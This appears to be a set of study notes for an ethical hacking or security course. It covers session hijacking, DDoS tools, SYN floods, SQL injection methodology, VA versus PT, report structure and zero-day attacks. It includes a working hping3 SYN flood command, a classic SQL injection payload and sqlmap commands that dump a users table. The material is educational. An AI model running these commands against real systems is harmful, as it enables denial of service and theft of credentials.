**1. What is Session Hijacking? Explain with Techniques**

Session Hijacking is a cyber attack where an attacker takes control of a valid user session. This allows the attacker to gain unauthorized access to sensitive information and perform actions as the legitimate user.

**Techniques of Session Hijacking:**

* **Session Fixation** – The attacker forces a user to use a known session ID.
* **Session Sidejacking** – The attacker intercepts session cookies using network sniffing.
* **Cross-Site Scripted Hijacking (XSS)** – Attackers inject malicious scripts to steal session cookies.
* **Man-in-the-Middle (MITM) Attack** – The attacker intercepts communication between the user and server.
* **Brute Force Attack** – The attacker guesses session tokens.

**2. Find DoS/DDoS Attack Tools**

Some commonly used tools for DoS/DDoS attacks:

* **LOIC (Low Orbit Ion Cannon)**
* **HOIC (High Orbit Ion Cannon)**
* **Slowloris**
* **HULK (HTTP Unbearable Load King)**
* **R-U-Dead-Yet? (RUDY)**
* **Botnets (Mirai, Mēris, etc.)**
* **Xoic**
* **Tor's Hammer**

**3. Explain SYN Flooding Attack with Example**

A SYN Flood is a type of DoS attack where an attacker exploits the TCP handshake process.

**How It Works:**

1. The attacker sends multiple SYN (synchronize) requests to a target server.
2. The server responds with SYN-ACK (synchronize-acknowledge).
3. The attacker never sends the final ACK, leaving the connection half-open.
4. This exhausts server resources, making it unresponsive.

**Example:**

bash

CopyEdit

hping3 -S --flood -p 80 <target-ip>

This command floods the target’s port 80 with SYN packets, potentially causing a denial of service.

**4. List of Web App Hacking Methodologies**

1. **Reconnaissance** – Collecting information (WHOIS, subdomains, DNS records).
2. **Scanning** – Using tools like Nmap, Nikto, or Burp Suite to find vulnerabilities.
3. **Exploitation** – Attacking identified vulnerabilities (SQL Injection, XSS, CSRF).
4. **Privilege Escalation** – Gaining admin access using privilege exploits.
5. **Data Extraction** – Stealing sensitive information like credentials or payment details.
6. **Covering Tracks** – Deleting logs and traces to avoid detection.

**5. SQL Injection Methodology**

1. **Information Gathering** – Identify SQL injection points using tools like SQLmap.
2. **Payload Injection** – Insert malicious SQL queries (' OR '1'='1' --).
3. **Exploitation** – Extract database names, tables, and credentials.
4. **Privilege Escalation** – Gain admin access.
5. **Data Exfiltration** – Steal sensitive records.
6. **Maintaining Access** – Upload web shells or backdoors.

**6. Explain SQL Injection with Any Tool**

SQL Injection (SQLi) is an attack where an attacker manipulates SQL queries to access or modify the database.

**Example Using SQLmap**

1. Find a vulnerable URL:  
   http://example.com/login.php?id=1
2. Run SQLmap to extract the database:

bash

CopyEdit

sqlmap -u "http://example.com/login.php?id=1" --dbs

1. Dump table contents:

bash

CopyEdit

sqlmap -u "http://example.com/login.php?id=1" -D database\_name --tables

1. Extract credentials:

bash

CopyEdit

sqlmap -u "http://example.com/login.php?id=1" -D database\_name -T users --dump

**7. Difference Between VA and PT**

| **Aspect** | **Vulnerability Assessment (VA)** | **Penetration Testing (PT)** |
| --- | --- | --- |
| **Definition** | Identifies security weaknesses. | Actively exploits vulnerabilities. |
| **Approach** | Passive scanning & analysis. | Simulated real-world attacks. |
| **Purpose** | Prioritizes risk management. | Tests defenses and response. |
| **Tools** | Nessus, OpenVAS. | Metasploit, Burp Suite. |
| **Output** | Report of vulnerabilities. | Proof of concept for exploitation. |

**8. How to Write a Vulnerability Assessment Report**

**Structure:**

1. **Executive Summary** – Overview of findings and risk levels.
2. **Scope of Assessment** – Systems, IPs, and applications tested.
3. **Methodology Used** – Tools and techniques (Nessus, OpenVAS).
4. **Findings & Risk Analysis** – List of vulnerabilities with severity (Critical, High, Medium, Low).
5. **Proof of Concept (PoC)** – Screenshots and exploitation evidence.
6. **Recommendations** – Fixing and mitigation strategies.
7. **Conclusion** – Summary of the overall security posture.

**9. Explain Zero-Day Attacks**

A **Zero-Day Attack** exploits a software vulnerability unknown to developers or the public, meaning there is no patch available.

**Example:**

* An attacker discovers a flaw in a browser.
* They create malware to exploit the flaw.
* Since the vendor is unaware, no fix exists, making systems vulnerable.

**Mitigation:**

* Use Web Application Firewalls (WAF).
* Keep software updated.
* Implement Intrusion Detection Systems (IDS).